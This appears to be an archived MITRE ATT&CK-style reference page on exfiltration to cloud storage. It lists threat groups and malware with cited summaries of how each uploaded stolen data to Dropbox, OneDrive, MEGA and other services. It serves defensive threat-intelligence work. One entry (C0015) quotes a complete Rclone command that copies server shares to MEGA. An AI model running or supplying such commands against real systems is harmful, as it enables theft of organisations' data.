Exfiltration Over Web Service: Exfiltration to Cloud Storage, Sub-technique T1567.002 - Enterprise

Archived: 2026-04-05 13:22:27 UTC

G1024 Akira

Akira will exfiltrate victim data using applications such as Rclone.[1]

C0040 APT41 DUST

APT41 DUST exfiltrated collected information to OneDrive.[2]

S0635 BoomBox

BoomBox can upload data to dedicated per-victim folders in Dropbox.[3]

S0651 BoxCaon

BoxCaon has the capability to download folders' contents on the system and upload the results back to its Dropbox drive.[4]

C0015 C0015

During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M` .[5]

G0114 Chimera

Chimera has exfiltrated stolen data to OneDrive accounts.[6]

G1021 Cinnamon Tempest

Cinnamon Tempest has uploaded captured keystroke logs to the Alibaba Cloud Object Storage Service, Aliyun OSS.[7]

S0660 Clambling

Clambling can send files from a victim's machine to Dropbox.[8][9]

G0142 Confucius

Confucius has exfiltrated victim data to cloud storage service accounts.[10]

G1052 Contagious Interview

Contagious Interview has exfiltrated stolen passwords to Dropbox.[11]

S1023 CreepyDrive

CreepyDrive can use cloud services including OneDrive for data exfiltration.[12]

S0538 Crutch

Crutch has exfiltrated stolen data to Dropbox.[13]

G1006 Earth Lusca

Earth Lusca has used the megacmd tool to upload stolen files from a victim network to MEGA.[14]

G1003 Ember Bear

Ember Bear has used tools such as Rclone to exfiltrate information from victim environments to cloud storage such as `mega.nz`.[15]

S0363 Empire

Empire can use Dropbox for data exfiltration.[16]

G0046 FIN7

FIN7 has exfiltrated stolen data to the MEGA file sharing site.[17]

G0125 HAFNIUM

HAFNIUM has exfiltrated data to file sharing sites, including MEGA.[18]

S0037 HAMMERTOSS

HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.[19]

G1001 HEXANE

HEXANE has used cloud services, including OneDrive, for data exfiltration.[12]

G0119 Indrik Spider

Indrik Spider has exfiltrated data using Rclone or MEGASync prior to deploying ransomware.[20]

G0094 Kimsuky

Kimsuky has exfiltrated stolen files and data to actor-controlled Blogspot accounts.[21] Kimsuky has also leveraged Dropbox for uploading victim system information.[22]

G0065 Leviathan

Leviathan has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.[23][24]

G1014 LuminousMoth

LuminousMoth has exfiltrated data to Google Drive.[25]

G1051 Medusa Group

Medusa Group has utilized Rclone to exfiltrate data from victim environments to cloud storage.[26][27]

G0129 Mustang Panda

Mustang Panda has also exfiltrated archived files to cloud services such as Dropbox using `curl`.[28][29]

S0340 Octopus

Octopus has exfiltrated data to file sharing sites.[30]

S1170 ODAgent

ODAgent can use an attacker-controlled OneDrive account for exfiltration.[31]

S1172 OilBooster

OilBooster can exfiltrate files to an actor-controlled OneDrive account via the Microsoft Graph API.[31]

C0022 Operation Dream Job

During Operation Dream Job, Lazarus Group used a custom build of open-source command-line dbxcli to exfiltrate stolen data to Dropbox.[32][33]

S1102 Pcexter

Pcexter can upload stolen files to OneDrive storage accounts via HTTP `POST`.[34]

G1005 POLONIUM

POLONIUM has exfiltrated stolen data to POLONIUM-owned OneDrive and Dropbox accounts.[12]

S0629 RainyDay

RainyDay can use a file exfiltration tool to upload specific files to Dropbox.[35]

S1040 Rclone

Rclone can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA.[36][5]

S1222 RIFLESPINE

RIFLESPINE can upload results from executed C2 commands to cloud storage.[37]

S0240 ROKRAT

ROKRAT can send collected data to cloud storage services such as PCloud.[38][39]

G1015 Scattered Spider

Scattered Spider has exfiltrated victim data to the MEGA file sharing site, SnowFlake, and AWS S3 buckets.[40][41][42]

G1053 Storm-0501

Storm-0501 has exfiltrated stolen data to the MEGA file sharing site.[43] Storm-0501 has also utilized Rclone to exfiltrate data from victim environments to cloud storage such as MegaSync.[44] Storm-0501 has exfiltrated data to their own infrastructure utilizing AzCopy Command-Line tool (CLI).[45]

G0027 Threat Group-3390

Threat Group-3390 has exfiltrated stolen data to Dropbox.[8]

G1022 ToddyCat

ToddyCat has used a DropBox uploader to exfiltrate stolen files.[34]

G0010 Turla

Turla has used WebDAV to upload stolen USB files to a cloud drive.[46] Turla has also exfiltrated stolen files to OneDrive and 4shared.[47]

G0102 Wizard Spider

Wizard Spider has exfiltrated stolen victim data to various cloud storage providers.[48]

G0128 ZIRCONIUM

ZIRCONIUM has exfiltrated stolen data to Dropbox.[49]
